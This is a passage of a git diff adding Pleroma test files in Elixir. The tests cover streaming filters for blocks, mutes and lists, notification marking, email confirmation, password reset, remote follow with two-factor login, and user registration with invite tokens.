oauth_token + } do + user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) + + {:ok, user} = User.block_domain(user, "hecking-lewd-place.com") + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) + + refute_receive _ + assert Streamer.filtered_by_user?(user, favorite_activity) + end + + test "it sends follow activities to the 'user:notification' stream", %{ + user: user, + token: oauth_token + } do + user_url = user.ap_id + user2 = insert(:user) + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock_global(fn + %{method: :get, url: ^user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + {:ok, _follower, _followed, follow_activity} = CommonAPI.follow(user2, user) + + assert_receive {:render_with_user, _, "notification.json", notif} + assert notif.activity.id == follow_activity.id + refute Streamer.filtered_by_user?(user, notif) + end + end + + describe "public streams" do + test "it sends to public (authenticated)" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(other_user, activity) + end + + test "it sends to public (unauthenticated)" do + user = insert(:user) + + Streamer.get_topic_and_add_socket("public", nil, nil) + + {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) + assert %{"id" => ^activity_id} = Jason.decode!(payload) + + {:ok, _} = CommonAPI.delete(activity.id, user) + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end + + test "handles deletions" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + + {:ok, _} = CommonAPI.delete(activity.id, other_user) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end + end + + describe "thread_containment/2" do + test "it filters to user if recipients invalid and thread containment is enabled" do + Pleroma.Config.put([:instance, :skip_thread_containment], false) + author = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) + User.follow(user, author, :follow_accept) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["TEST-FFF"]} + ) + ) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + Streamer.stream("public", activity) + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user, activity) + end + + test "it sends message if recipients invalid and thread containment is disabled" do + Pleroma.Config.put([:instance, :skip_thread_containment], true) + author = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) + User.follow(user, author, :follow_accept) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["TEST-FFF"]} + ) + ) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + Streamer.stream("public", activity) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user, activity) + end + + test "it sends message if recipients invalid and thread containment is enabled but user's thread containment is disabled" do + Pleroma.Config.put([:instance, :skip_thread_containment], false) + author = insert(:user) + user = insert(:user, skip_thread_containment: true) + %{token: oauth_token} = oauth_access(["read"], user: user) + User.follow(user, author, :follow_accept) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["TEST-FFF"]} + ) + ) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + Streamer.stream("public", activity) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user, activity) + end + end + + describe "blocks" do + setup do: oauth_access(["read"]) + + test "it filters messages involving blocked users", %{user: user, token: oauth_token} do + blocked_user = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked_user) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + {:ok, activity} = CommonAPI.post(blocked_user, %{status: "Test"}) + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user, activity) + end + + test "it filters messages transitively involving blocked users", %{ + user: blocker, + token: blocker_token + } do + blockee = insert(:user) + friend = insert(:user) + + Streamer.get_topic_and_add_socket("public", blocker, blocker_token) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) + + assert_receive {:render_with_user, _, _, ^activity_one} + assert Streamer.filtered_by_user?(blocker, activity_one) + + {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + assert_receive {:render_with_user, _, _, ^activity_two} + assert Streamer.filtered_by_user?(blocker, activity_two) + + {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) + + assert_receive {:render_with_user, _, _, ^activity_three} + assert Streamer.filtered_by_user?(blocker, activity_three) + end + end + + describe "lists" do + setup do: oauth_access(["read"]) + + test "it doesn't send unwanted DMs to list", %{user: user_a, token: user_a_token} do + user_b = insert(:user) + user_c = insert(:user) + + {:ok, user_a} = User.follow(user_a, user_b) + + {:ok, list} = List.create("Test", user_a) + {:ok, list} = List.follow(list, user_b) + + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) + + {:ok, _activity} = + CommonAPI.post(user_b, %{ + status: "@#{user_c.nickname} Test", + visibility: "direct" + }) + + refute_receive _ + end + + test "it doesn't send unwanted private posts to list", %{user: user_a, token: user_a_token} do + user_b = insert(:user) + + {:ok, list} = List.create("Test", user_a) + {:ok, list} = List.follow(list, user_b) + + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) + + {:ok, _activity} = + CommonAPI.post(user_b, %{ + status: "Test", + visibility: "private" + }) + + refute_receive _ + end + + test "it sends wanted private posts to list", %{user: user_a, token: user_a_token} do + user_b = insert(:user) + + {:ok, user_a} = User.follow(user_a, user_b) + + {:ok, list} = List.create("Test", user_a) + {:ok, list} = List.follow(list, user_b) + + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) + + {:ok, activity} = + CommonAPI.post(user_b, %{ + status: "Test", + visibility: "private" + }) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user_a, activity) + end + end + + describe "muted reblogs" do + setup do: oauth_access(["read"]) + + test "it filters muted reblogs", %{user: user1, token: user1_token} do + user2 = insert(:user) + user3 = insert(:user) + CommonAPI.follow(user1, user2) + CommonAPI.hide_reblogs(user1, user2) + + {:ok, create_activity} = CommonAPI.post(user3, %{status: "I'm kawen"}) + + Streamer.get_topic_and_add_socket("user", user1, user1_token) + {:ok, announce_activity} = CommonAPI.repeat(create_activity.id, user2) + assert_receive {:render_with_user, _, _, ^announce_activity} + assert Streamer.filtered_by_user?(user1, announce_activity) + end + + test "it filters reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do + user2 = insert(:user) + CommonAPI.follow(user1, user2) + CommonAPI.hide_reblogs(user1, user2) + + {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) + Streamer.get_topic_and_add_socket("user", user1, user1_token) + {:ok, _announce_activity} = CommonAPI.repeat(create_activity.id, user2) + + assert_receive {:render_with_user, _, "notification.json", notif} + assert Streamer.filtered_by_user?(user1, notif) + end + + test "it send non-reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do + user2 = insert(:user) + CommonAPI.follow(user1, user2) + CommonAPI.hide_reblogs(user1, user2) + + {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) + Streamer.get_topic_and_add_socket("user", user1, user1_token) + {:ok, _favorite_activity} = CommonAPI.favorite(user2, create_activity.id) + + assert_receive {:render_with_user, _, "notification.json", notif} + refute Streamer.filtered_by_user?(user1, notif) + end + end + + describe "muted threads" do + test "it filters posts from muted threads" do + user = insert(:user) + %{user: user2, token: user2_token} = oauth_access(["read"]) + Streamer.get_topic_and_add_socket("user", user2, user2_token) + + {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + {:ok, _} = CommonAPI.add_mute(user2, activity) + + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user2, activity) + end + end + + describe "direct streams" do + setup do: oauth_access(["read"]) + + test "it sends conversation update to the 'direct' stream", %{user: user, token: oauth_token} do + another_user = insert(:user) + + Streamer.get_topic_and_add_socket("direct", user, oauth_token) + + {:ok, _create_activity} = + CommonAPI.post(another_user, %{ + status: "hey @#{user.nickname}", + visibility: "direct" + }) + + assert_receive {:text, received_event} + + assert %{"event" => "conversation", "payload" => received_payload} = + Jason.decode!(received_event) + + assert %{"last_status" => last_status} = Jason.decode!(received_payload) + [participation] = Participation.for_user(user) + assert last_status["pleroma"]["direct_conversation_id"] == participation.id + end + + test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted", + %{user: user, token: oauth_token} do + another_user = insert(:user) + + Streamer.get_topic_and_add_socket("direct", user, oauth_token) + + {:ok, create_activity} = + CommonAPI.post(another_user, %{ + status: "hi @#{user.nickname}", + visibility: "direct" + }) + + create_activity_id = create_activity.id + assert_receive {:render_with_user, _, _, ^create_activity} + assert_receive {:text, received_conversation1} + assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) + + {:ok, _} = CommonAPI.delete(create_activity_id, another_user) + + assert_receive {:text, received_event} + + assert %{"event" => "delete", "payload" => ^create_activity_id} = + Jason.decode!(received_event) + + refute_receive _ + end + + test "it sends conversation update to the 'direct' stream when a message is deleted", %{ + user: user, + token: oauth_token + } do + another_user = insert(:user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) + + {:ok, create_activity} = + CommonAPI.post(another_user, %{ + status: "hi @#{user.nickname}", + visibility: "direct" + }) + + {:ok, create_activity2} = + CommonAPI.post(another_user, %{ + status: "hi @#{user.nickname} 2", + in_reply_to_status_id: create_activity.id, + visibility: "direct" + }) + + assert_receive {:render_with_user, _, _, ^create_activity} + assert_receive {:render_with_user, _, _, ^create_activity2} + assert_receive {:text, received_conversation1} + assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) + assert_receive {:text, received_conversation1} + assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) + + {:ok, _} = CommonAPI.delete(create_activity2.id, another_user) + + assert_receive {:text, received_event} + assert %{"event" => "delete", "payload" => _} = Jason.decode!(received_event) + + assert_receive {:text, received_event} + + assert %{"event" => "conversation", "payload" => received_payload} = + Jason.decode!(received_event) + + assert %{"last_status" => last_status} = Jason.decode!(received_payload) + assert last_status["id"] == to_string(create_activity.id) + end + end +end diff --git a/test/pleroma/web/twitter_api/controller_test.exs b/test/pleroma/web/twitter_api/controller_test.exs new file mode 100644 index 000000000..464d0ea2e --- /dev/null +++ b/test/pleroma/web/twitter_api/controller_test.exs @@ -0,0 +1,138 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.ControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Builders.ActivityBuilder + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + describe "POST /api/qvitter/statuses/notifications/read" do + test "without valid credentials", %{conn: conn} do + conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567}) + assert json_response(conn, 403) == %{"error" => "Invalid credentials."} + end + + test "with credentials, without any params" do + %{conn: conn} = oauth_access(["write:notifications"]) + + conn = post(conn, "/api/qvitter/statuses/notifications/read") + + assert json_response(conn, 400) == %{ + "error" => "You need to specify latest_id", + "request" => "/api/qvitter/statuses/notifications/read" + } + end + + test "with credentials, with params" do + %{user: current_user, conn: conn} = + oauth_access(["read:notifications", "write:notifications"]) + + other_user = insert(:user) + + {:ok, _activity} = + ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user}) + + response_conn = + conn + |> assign(:user, current_user) + |> get("/api/v1/notifications") + + [notification] = response = json_response(response_conn, 200) + + assert length(response) == 1 + + assert notification["pleroma"]["is_seen"] == false + + response_conn = + conn + |> assign(:user, current_user) + |> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]}) + + [notification] = response = json_response(response_conn, 200) + + assert length(response) == 1 + + assert notification["pleroma"]["is_seen"] == true + end + end + + describe "GET /api/account/confirm_email/:id/:token" do + setup do + {:ok, user} = + insert(:user) + |> User.confirmation_changeset(need_confirmation: true) + |> Repo.update() + + assert user.confirmation_pending + + [user: user] + end + + test "it redirects to root url", %{conn: conn, user: user} do + conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") + + assert 302 == conn.status + end + + test "it confirms the user account", %{conn: conn, user: user} do + get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") + + user = User.get_cached_by_id(user.id) + + refute user.confirmation_pending + refute user.confirmation_token + end + + test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do + conn = get(conn, "/api/account/confirm_email/0/#{user.confirmation_token}") + + assert 500 == conn.status + end + + test "it returns 500 if token is invalid", %{conn: conn, user: user} do + conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token") + + assert 500 == conn.status + end + end + + describe "GET /api/oauth_tokens" do + setup do + token = insert(:oauth_token) |> Repo.preload(:user) + + %{token: token} + end + + test "renders list", %{token: token} do + response = + build_conn() + |> assign(:user, token.user) + |> get("/api/oauth_tokens") + + keys = + json_response(response, 200) + |> hd() + |> Map.keys() + + assert keys -- ["id", "app_name", "valid_until"] == [] + end + + test "revoke token", %{token: token} do + response = + build_conn() + |> assign(:user, token.user) + |> delete("/api/oauth_tokens/#{token.id}") + + tokens = Token.get_user_tokens(token.user) + + assert tokens == [] + assert response.status == 201 + end + end +end diff --git a/test/pleroma/web/twitter_api/password_controller_test.exs b/test/pleroma/web/twitter_api/password_controller_test.exs new file mode 100644 index 000000000..a5e9e2178 --- /dev/null +++ b/test/pleroma/web/twitter_api/password_controller_test.exs @@ -0,0 +1,81 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.PasswordResetToken + alias Pleroma.User + alias Pleroma.Web.OAuth.Token + import Pleroma.Factory + + describe "GET /api/pleroma/password_reset/token" do + test "it returns error when token invalid", %{conn: conn} do + response = + conn + |> get("/api/pleroma/password_reset/token") + |> html_response(:ok) + + assert response =~ "<h2>Invalid Token</h2>" + end + + test "it shows password reset form", %{conn: conn} do + user = insert(:user) + {:ok, token} = PasswordResetToken.create_token(user) + + response = + conn + |> get("/api/pleroma/password_reset/#{token.token}") + |> html_response(:ok) + + assert response =~ "<h2>Password Reset for #{user.nickname}</h2>" + end + end + + describe "POST /api/pleroma/password_reset" do + test "it returns HTTP 200", %{conn: conn} do + user = insert(:user) + {:ok, token} = PasswordResetToken.create_token(user) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) + + params = %{ + "password" => "test", + password_confirmation: "test", + token: token.token + } + + response = + conn + |> assign(:user, user) + |> post("/api/pleroma/password_reset", %{data: params}) + |> html_response(:ok) + + assert response =~ "<h2>Password changed!</h2>" + + user = refresh_record(user) + assert Pbkdf2.verify_pass("test", user.password_hash) + assert Enum.empty?(Token.get_user_tokens(user)) + end + + test "it sets password_reset_pending to false", %{conn: conn} do + user = insert(:user, password_reset_pending: true) + + {:ok, token} = PasswordResetToken.create_token(user) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) + + params = %{ + "password" => "test", + password_confirmation: "test", + token: token.token + } + + conn + |> assign(:user, user) + |> post("/api/pleroma/password_reset", %{data: params}) + |> html_response(:ok) + + assert User.get_by_id(user.id).password_reset_pending == false + end + end +end diff --git a/test/pleroma/web/twitter_api/remote_follow_controller_test.exs b/test/pleroma/web/twitter_api/remote_follow_controller_test.exs new file mode 100644 index 000000000..3852c7ce9 --- /dev/null +++ b/test/pleroma/web/twitter_api/remote_follow_controller_test.exs @@ -0,0 +1,350 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.MFA + alias Pleroma.MFA.TOTP + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Pleroma.Factory + import Ecto.Query + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + setup do: clear_config([:instance]) + setup do: clear_config([:frontend_configurations, :pleroma_fe]) + setup do: clear_config([:user, :deny_follow_blocked]) + + describe "GET /ostatus_subscribe - remote_follow/2" do + test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do + assert conn + |> get( + remote_follow_path(conn, :follow, %{ + acct: "https://mastodon.social/users/emelie/statuses/101849165031453009" + }) + ) + |> redirected_to() =~ "/notice/" + end + + test "show follow account page if the `acct` is a account link", %{conn: conn} do + response = + conn + |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) + |> html_response(200) + + assert response =~ "Log in to follow" + end + + test "show follow page if the `acct` is a account link", %{conn: conn} do + user = insert(:user) + + response = + conn + |> assign(:user, user) + |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) + |> html_response(200) + + assert response =~ "Remote follow" + end + + test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do + user = insert(:user) + + assert capture_log(fn -> + response = + conn + |> assign(:user, user) + |> get( + remote_follow_path(conn, :follow, %{ + acct: "https://mastodon.social/users/not_found" + }) + ) + |> html_response(200) + + assert response =~ "Error fetching user" + end) =~ "Object has been deleted" + end + end + + describe "POST /ostatus_subscribe - do_follow/2 with assigned user " do + test "required `follow | write:follows` scope", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + read_token = insert(:oauth_token, user: user, scopes: ["read"]) + + assert capture_log(fn -> + response = + conn + |> assign(:user, user) + |> assign(:token, read_token) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + |> response(200) + + assert response =~ "Error following account" + end) =~ "Insufficient permissions: follow | write:follows." + end + + test "follows user", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + conn = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + + assert redirected_to(conn) == "/users/#{user2.id}" + end + + test "returns error when user is deactivated", %{conn: conn} do + user = insert(:user, deactivated: true) + user2 = insert(:user) + + response = + conn + |> assign(:user, user) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns error when user is blocked", %{conn: conn} do + Pleroma.Config.put([:user, :deny_follow_blocked], true) + user = insert(:user) + user2 = insert(:user) + + {:ok, _user_block} = Pleroma.User.block(user2, user) + + response = + conn + |> assign(:user, user) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns error when followee not found", %{conn: conn} do + user = insert(:user) + + response = + conn + |> assign(:user, user) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => "jimm"}}) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns success result when user already in followers", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + {:ok, _, _, _} = CommonAPI.follow(user, user2) + + conn = + conn + |> assign(:user, refresh_record(user)) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) + |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) + + assert redirected_to(conn) == "/users/#{user2.id}" + end + end + + describe "POST /ostatus_subscribe - follow/2 with enabled Two-Factor Auth " do + test "render the MFA login form", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + user2 = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} + }) + |> response(200) + + mfa_token = Pleroma.Repo.one(from(q in Pleroma.MFA.Token, where: q.user_id == ^user.id)) + + assert response =~ "Two-factor authentication" + assert response =~ "Authentication code" + assert response =~ mfa_token.token + refute user2.follower_address in User.following(user) + end + + test "returns error when password is incorrect", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + user2 = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test1", "id" => user2.id} + }) + |> response(200) + + assert response =~ "Wrong username or password" + refute user2.follower_address in User.following(user) + end + + test "follows", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + {:ok, %{token: token}} = MFA.Token.create(user) + + user2 = insert(:user) + otp_token = TOTP.generate_token(otp_secret) + + conn = + conn + |> post( + remote_follow_path(conn, :do_follow), + %{ + "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} + } + ) + + assert redirected_to(conn) == "/users/#{user2.id}" + assert user2.follower_address in User.following(user) + end + + test "returns error when auth code is incorrect", %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + {:ok, %{token: token}} = MFA.Token.create(user) + + user2 = insert(:user) + otp_token = TOTP.generate_token(TOTP.generate_secret()) + + response = + conn + |> post( + remote_follow_path(conn, :do_follow), + %{ + "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} + } + ) + |> response(200) + + assert response =~ "Wrong authentication code" + refute user2.follower_address in User.following(user) + end + end + + describe "POST /ostatus_subscribe - follow/2 without assigned user " do + test "follows", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + conn = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} + }) + + assert redirected_to(conn) == "/users/#{user2.id}" + assert user2.follower_address in User.following(user) + end + + test "returns error when followee not found", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => "jimm"} + }) + |> response(200) + + assert response =~ "Error following account" + end + + test "returns error when login invalid", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => "jimm", "password" => "test", "id" => user.id} + }) + |> response(200) + + assert response =~ "Wrong username or password" + end + + test "returns error when password invalid", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "42", "id" => user2.id} + }) + |> response(200) + + assert response =~ "Wrong username or password" + end + + test "returns error when user is blocked", %{conn: conn} do + Pleroma.Config.put([:user, :deny_follow_blocked], true) + user = insert(:user) + user2 = insert(:user) + {:ok, _user_block} = Pleroma.User.block(user2, user) + + response = + conn + |> post(remote_follow_path(conn, :do_follow), %{ + "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} + }) + |> response(200) + + assert response =~ "Error following account" + end + end +end diff --git a/test/pleroma/web/twitter_api/twitter_api_test.exs b/test/pleroma/web/twitter_api/twitter_api_test.exs new file mode 100644 index 000000000..20a45cb6f --- /dev/null +++ b/test/pleroma/web/twitter_api/twitter_api_test.exs @@ -0,0 +1,432 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.UserInviteToken + alias Pleroma.Web.TwitterAPI.TwitterAPI + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "it registers a new user and returns the user." do + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :password => "bear", + :confirm => "bear" + } + + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("lain") + end + + test "it registers a new user with empty string in bio and returns the user" do + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "", + :password => "bear", + :confirm => "bear" + } + + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("lain") + end + + test "it sends confirmation email if :account_activation_required is specified in instance config" do + setting = Pleroma.Config.get([:instance, :account_activation_required]) + + unless setting do + Pleroma.Config.put([:instance, :account_activation_required], true) + on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end) + end + + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "", + :password => "bear", + :confirm => "bear" + } + + {:ok, user} = TwitterAPI.register_user(data) + ObanHelpers.perform_all() + + assert user.confirmation_pending + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + + notify_email = Pleroma.Config.get([:instance, :notify_email]) + instance_name = Pleroma.Config.get([:instance, :name]) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + + test "it sends an admin email if :account_approval_required is specified in instance config" do + admin = insert(:user, is_admin: true) + setting = Pleroma.Config.get([:instance, :account_approval_required]) + + unless setting do + Pleroma.Config.put([:instance, :account_approval_required], true) + on_exit(fn -> Pleroma.Config.put([:instance, :account_approval_required], setting) end) + end + + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "", + :password => "bear", + :confirm => "bear", + :reason => "I love anime" + } + + {:ok, user} = TwitterAPI.register_user(data) + ObanHelpers.perform_all() + + assert user.approval_pending + + email = Pleroma.Emails.AdminEmail.new_unapproved_registration(admin, user) + + notify_email = Pleroma.Config.get([:instance, :notify_email]) + instance_name = Pleroma.Config.get([:instance, :name]) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: {admin.name, admin.email}, + html_body: email.html_body + ) + end + + test "it registers a new user and parses mentions in the bio" do + data1 = %{ + :username => "john", + :email => "john@gmail.com", + :fullname => "John Doe", + :bio => "test", + :password => "bear", + :confirm => "bear" + } + + {:ok, user1} = TwitterAPI.register_user(data1) + + data2 = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "@john test", + :password => "bear", + :confirm => "bear" + } + + {:ok, user2} = TwitterAPI.register_user(data2) + + expected_text = + ~s(<span class="h-card"><a class="u-url mention" data-user="#{user1.id}" href="#{ + user1.ap_id + }" rel="ugc">@<span>john</span></a></span> test) + + assert user2.bio == expected_text + end + + describe "register with one time token" do + setup do: clear_config([:instance, :registrations_open], false) + + test "returns user on success" do + {:ok, invite} = UserInviteToken.create_invite() + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + assert invite.used == true + end + + test "returns error on invalid token" do + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => "DudeLetMeInImAFairy" + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Invalid token" + refute User.get_cached_by_nickname("GrimReaper") + end + + test "returns error on expired token" do + {:ok, invite} = UserInviteToken.create_invite() + UserInviteToken.update_invite!(invite, used: true) + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + end + + describe "registers with date limited token" do + setup do: clear_config([:instance, :registrations_open], false) + + setup do + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees" + } + + check_fn = fn invite -> + data = Map.put(data, :token, invite.token) + {:ok, user} = TwitterAPI.register_user(data) + + assert user == User.get_cached_by_nickname("vinny") + end + + {:ok, data: data, check_fn: check_fn} + end + + test "returns user on success", %{check_fn: check_fn} do + {:ok, invite} = 